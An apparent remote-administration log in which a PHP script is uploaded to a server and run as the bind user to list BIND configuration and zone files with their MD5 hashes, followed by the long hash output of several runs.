MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-02 15:13:39: Establishing a connection
2026-06-02 15:13:39: 

PUT: /tmp/pkp248024

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-02 15:13:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp248024; rm /tmp/pkp248024'

2026-06-02 15:13:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-03 10:27:40: Establishing a connection
2026-06-03 10:27:57: Establishing a connection
2026-06-03 10:27:57: 

PUT: /tmp/pkp140060

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-03 10:27:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp140060; rm /tmp/pkp140060'

2026-06-03 10:27:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
